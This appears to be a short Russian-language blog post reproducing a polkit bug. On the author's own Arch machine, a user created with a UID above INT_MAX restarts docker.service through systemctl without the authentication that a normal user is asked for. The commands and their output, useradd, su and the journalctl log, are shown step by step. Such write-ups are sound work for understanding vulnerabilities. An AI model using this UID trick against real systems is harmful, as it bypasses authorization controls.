Интересная бага сегодня была опубликована в Twitter и Github.
Кратко — если у пользователя UID больше, чем INT_MAX
в системе — он может выполнять любые операции systemctl
.
Справдливости ради — это бага не у systemd
, а у polkit
.
Проверям значение INT_MAX
:
[simterm]
$ cat /usr/include/limits.h | grep INT_MAX # define INT_MIN (-INT_MAX - 1) # define INT_MAX 2147483647 # define UINT_MAX 4294967295U
[/simterm]
Добавлям пользователя с +1 к 2147483647:
[simterm]
$ sudo useradd --uid 2147483648 test
[/simterm]
Проверяем:
[simterm]
$ id test uid=2147483648(test) gid=1001(test) groups=1001(test)
[/simterm]
Находим что-нибудь для ребута:
[simterm]
14:08:36 [setevoy@setevoy-arch-work ~] $ systemctl list-unit-files | grep enabled [email protected] enabled docker.service enabled [email protected] enabled netctl@setevoy\x2dgen\x2d5.service enabled sshd.service enabled systemd-fsck-root.service enabled-runtime systemd-timesyncd.service enabled remote-fs.target enabled
[/simterm]
Пробуем под нормальным пользователем:
[simterm]
14:08:47 [setevoy@setevoy-arch-work ~] $ systemctl restart docker ==== AUTHENTICATING FOR org.freedesktop.systemd1.manage-units ==== Authentication is required to restart 'docker.service'. Authenticating as: setevoy Password: ==== AUTHENTICATION COMPLETE ====
[/simterm]
ОК — авторизацию запрашивает.
Переключаемся под созданного пользователя:
[simterm]
# su -l test su: warning: cannot change directory to /home/test: No such file or directory [test@setevoy-arch-work ~]$
[/simterm]
Запускаем рестарт докера:
[simterm]
[test@setevoy-arch-work ~]$ systemctl restart docker (pkttyagent:3853): GLib-GObject-WARNING **: 14:08:17.570: value "-2147483648" of type 'gint' is invalid or out of range for property 'uid' of type 'gint' ** ERROR:pkttyagent.c:156:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)
[/simterm]
Проверяем логи:
[simterm]
$ journalctl -f -u docker ... Dec 06 14:11:09 setevoy-arch-work systemd[1]: Stopped Docker Application Container Engine. Dec 06 14:11:09 setevoy-arch-work systemd[1]: Starting Docker Application Container Engine... ...
[/simterm]
Работает.